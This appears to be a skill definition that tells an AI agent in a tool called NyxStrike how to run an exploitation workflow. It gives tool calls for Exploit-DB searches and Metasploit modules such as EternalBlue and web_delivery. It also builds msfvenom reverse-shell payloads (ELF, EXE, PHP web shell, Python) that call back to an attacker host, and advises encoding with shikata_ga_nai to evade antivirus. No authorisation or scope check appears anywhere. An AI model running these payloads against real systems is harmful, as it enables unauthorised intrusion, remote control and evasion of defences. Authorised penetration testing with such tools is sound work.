exploitation

name	exploitation
description	Exploitation workflow using Metasploit, msfvenom payload generation, and Exploit-DB search — from vulnerability identification to shell

exploitation

Exploitation workflow for NyxStrike. Use this skill when a user has identified a vulnerability and wants to exploit it, generate a payload, search for public exploits, or establish a reverse shell.

Workflow

Step 1 — Search for public exploits (exploit_db)

Before running Metasploit, check if a known public exploit exists:

run_tool(tool="exploit_db", query="<service> <version>")

# Examples
run_tool(tool="exploit_db", query="Apache 2.4.49 path traversal")
run_tool(tool="exploit_db", query="vsftpd 2.3.4 backdoor")
run_tool(tool="exploit_db", query="SMB ms17-010")

Step 2 — Find and run a Metasploit module

Search for the right module, then run it with the required options:

# Run a specific exploit module
run_tool(tool="metasploit", module="exploit/multi/handler",
         options={"PAYLOAD": "linux/x86/meterpreter/reverse_tcp",
                  "LHOST": "<your_ip>",
                  "LPORT": "4444"})

# EternalBlue (MS17-010)
run_tool(tool="metasploit", module="exploit/windows/smb/ms17_010_eternalblue",
         options={"RHOSTS": "<target>",
                  "PAYLOAD": "windows/x64/meterpreter/reverse_tcp",
                  "LHOST": "<your_ip>",
                  "LPORT": "4444"})

# Web delivery (stageless payload delivery)
run_tool(tool="metasploit", module="exploit/multi/script/web_delivery",
         options={"TARGET": "0",
                  "PAYLOAD": "python/meterpreter/reverse_tcp",
                  "LHOST": "<your_ip>",
                  "LPORT": "4444"})

Step 3 — Generate a standalone payload (msfvenom)

Use msfvenom when you need to deliver a payload outside of Metasploit (file upload, download + execute, etc.):

Linux reverse shell (ELF):

run_tool(tool="msfvenom",
         payload="linux/x86/meterpreter/reverse_tcp",
         format="elf",
         lhost="<your_ip>",
         lport="4444")

Windows reverse shell (EXE):

run_tool(tool="msfvenom",
         payload="windows/x64/meterpreter/reverse_tcp",
         format="exe",
         lhost="<your_ip>",
         lport="4444")

PHP web shell:

run_tool(tool="msfvenom",
         payload="php/meterpreter_reverse_tcp",
         format="raw",
         lhost="<your_ip>",
         lport="4444")

Python stageless:

run_tool(tool="msfvenom",
         payload="python/meterpreter/reverse_tcp",
         format="raw",
         lhost="<your_ip>",
         lport="4444")

Common Metasploit modules by service

Service / CVE	Module path
MS17-010 EternalBlue	exploit/windows/smb/ms17_010_eternalblue
vsftpd 2.3.4 backdoor	exploit/unix/ftp/vsftpd_234_backdoor
Shellshock	exploit/multi/http/apache_mod_cgi_bash_env_exec
Heartbleed	auxiliary/scanner/ssl/openssl_heartbleed
Tomcat manager	exploit/multi/http/tomcat_mgr_upload
HTTP multi-handler	exploit/multi/handler
Web delivery	exploit/multi/script/web_delivery
Port scan auxiliary	auxiliary/scanner/portscan/tcp
SMB login check	auxiliary/scanner/smb/smb_login

Payload format reference

OS	Format	Payload example
Linux 64-bit	elf	linux/x64/meterpreter/reverse_tcp
Linux 32-bit	elf	linux/x86/meterpreter/reverse_tcp
Windows 64-bit	exe	windows/x64/meterpreter/reverse_tcp
Windows 32-bit	exe	windows/meterpreter/reverse_tcp
PHP	raw	php/meterpreter_reverse_tcp
Python	raw	python/meterpreter/reverse_tcp
Java WAR	war	java/meterpreter/reverse_tcp
ASP	asp	windows/meterpreter/reverse_tcp

Tips

• Always start a listener (exploit/multi/handler) before delivering a payload.
• Use stageless payloads (meterpreter_reverse_tcp not meterpreter/reverse_tcp) when the target has egress filtering — they are larger but self-contained.
• Check exploit_db before writing custom exploits — public PoCs save time.
• Encode payloads with -e x86/shikata_ga_nai via additional_args if AV is a concern.

NyxStrike Tool Reference

Tool	Use case
exploit_db	Search public exploits (searchsploit)
metasploit	Run exploit/auxiliary/post modules
msfvenom	Generate standalone payloads